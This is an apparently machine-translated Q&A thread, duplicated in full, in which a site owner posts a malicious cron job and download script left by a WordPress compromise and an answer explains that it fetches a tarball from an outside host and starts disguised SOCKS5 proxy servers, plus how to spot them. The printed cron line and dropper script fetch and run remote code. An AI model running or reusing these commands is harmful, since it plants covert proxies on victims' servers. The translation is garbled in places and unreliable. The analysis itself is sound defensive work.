我们网站上出现的一些恶意软件与最近的 wordpress 攻击有关
some malware that appeared on our site related to the recent wordpress attack
显然,我做一些志愿者工作的网站是最近一次利用 wordpress 中的某些漏洞的黑客攻击的几千个网站之一。违规的结果是向站点添加了一个 cron 作业:
0 */48 * * * cd /tmp;wget clintonandersonperformancehorses.com/test/test;bash test;cd /tmp;rm -rf test
它拉取的文件是这个(显然,不要尝试执行这个...)
killall -9 perl
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
sh getip >>bug.txt
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print }' |awk -F ' ' '{print }' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
bash mbind clean.txt
bash binded.txt
cd ..
rm -rf stest
我希望有人能告诉我它的作用?我清除了 cron 作业并将遵循所有其他可用的建议来再次保护该站点,但我担心可能已经造成了一些不那么明显的额外损害。我就是搞不懂那个文件到底在做什么。
I just can't figure out what the heck that file was actually doing.
快速总结
总而言之,它会终止所有 perl 进程,然后tar在所有机器的外部 IP 地址上启动 SOCKS5 服务器。
深入
更详细,让我们逐行查看脚本:
killall -9 perl
这会杀死所有 perl
个进程。
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
以上下载文件 stest.tar
并在 /tmp/stest
目录中卸载 tar 文件,删除 tar
文件,并移动到现在的目录下载的文件。
sh getip >>bug.txt
getip
脚本是 stest.tar
的一部分,使用 icanhazip.com
查找您的 public IP 地址并将其存储在文件 bug.txt
中。
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print }' |awk -F ' ' '{print }' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
上面使用 ifconfig
检查您的机器回答的任何其他非本地 IP 地址并将它们添加到 bug.txt
。删除重复项,您的 public IP 地址的最终列表保存在文件 clean.txt
.
中
bash mbind clean.txt
这是脚本的核心。 mbind
,它是 stest.tar
的一部分,运行 是 clean.txt
中每个 IP 地址上的脚本 inst
。对于该 IP 地址,inst
,也是 stest.tar
的一部分,随机选择一个端口,并在该 IP 和该端口上发送 "Simple SOCKS5 Server for Perl" 的副本。
更具体地说,运行 的 SOCKS 服务器是 Simple Socks Server for Perl 的 1.4 版,可以是 downloaded from sourceforge. 这里使用的版本不同仅在次要方面来自 sourceforge:抑制了帮助消息,删除了 md5 选项,并且 IP 和端口包含在脚本中,而不是在命令行中传递。我怀疑后一个更改的目的是使脚本的命令行在使用 ps
.
等实用程序查看时看起来相对无害
bash binded.txt
脚本 binded.txt
由 inst
创建。显然 运行 是对 SOCKS5 服务器的检查。
cd ..
rm -rf stest
最后一部分只是清理。它会删除所有非tar红色文件和脚本创建的临时文件。
如何确定其中一个 SOCKS 服务器是否仍然 运行ning
脚本 inst
(.tar 文件的一部分)starts 每个 SOCKS 服务器使用以下命令:
/usr/bin/perl httpd
要查看一个是否仍然是 运行ning,请查看 ps wax
的输出并查看是否看到该命令。如果这样做,请使用 kill
命令停止它。
显然,我做一些志愿者工作的网站是最近一次利用 wordpress 中的某些漏洞的黑客攻击的几千个网站之一。违规的结果是向站点添加了一个 cron 作业:
0 */48 * * * cd /tmp;wget clintonandersonperformancehorses.com/test/test;bash test;cd /tmp;rm -rf test
它拉取的文件是这个(显然,不要尝试执行这个...)
killall -9 perl
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
sh getip >>bug.txt
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print }' |awk -F ' ' '{print }' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
bash mbind clean.txt
bash binded.txt
cd ..
rm -rf stest
我希望有人能告诉我它的作用?我清除了 cron 作业并将遵循所有其他可用的建议来再次保护该站点,但我担心可能已经造成了一些不那么明显的额外损害。我就是搞不懂那个文件到底在做什么。
I just can't figure out what the heck that file was actually doing.
快速总结
总而言之,它会终止所有 perl 进程,然后tar在所有机器的外部 IP 地址上启动 SOCKS5 服务器。
深入
更详细,让我们逐行查看脚本:
killall -9 perl
这会杀死所有 perl
个进程。
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
以上下载文件 stest.tar
并在 /tmp/stest
目录中卸载 tar 文件,删除 tar
文件,并移动到现在的目录下载的文件。
sh getip >>bug.txt
getip
脚本是 stest.tar
的一部分,使用 icanhazip.com
查找您的 public IP 地址并将其存储在文件 bug.txt
中。
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print }' |awk -F ' ' '{print }' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
上面使用 ifconfig
检查您的机器回答的任何其他非本地 IP 地址并将它们添加到 bug.txt
。删除重复项,您的 public IP 地址的最终列表保存在文件 clean.txt
.
bash mbind clean.txt
这是脚本的核心。 mbind
,它是 stest.tar
的一部分,运行 是 clean.txt
中每个 IP 地址上的脚本 inst
。对于该 IP 地址,inst
,也是 stest.tar
的一部分,随机选择一个端口,并在该 IP 和该端口上发送 "Simple SOCKS5 Server for Perl" 的副本。
更具体地说,运行 的 SOCKS 服务器是 Simple Socks Server for Perl 的 1.4 版,可以是 downloaded from sourceforge. 这里使用的版本不同仅在次要方面来自 sourceforge:抑制了帮助消息,删除了 md5 选项,并且 IP 和端口包含在脚本中,而不是在命令行中传递。我怀疑后一个更改的目的是使脚本的命令行在使用 ps
.
bash binded.txt
脚本 binded.txt
由 inst
创建。显然 运行 是对 SOCKS5 服务器的检查。
cd ..
rm -rf stest
最后一部分只是清理。它会删除所有非tar红色文件和脚本创建的临时文件。
如何确定其中一个 SOCKS 服务器是否仍然 运行ning
脚本 inst
(.tar 文件的一部分)starts 每个 SOCKS 服务器使用以下命令:
/usr/bin/perl httpd
要查看一个是否仍然是 运行ning,请查看 ps wax
的输出并查看是否看到该命令。如果这样做,请使用 kill
命令停止它。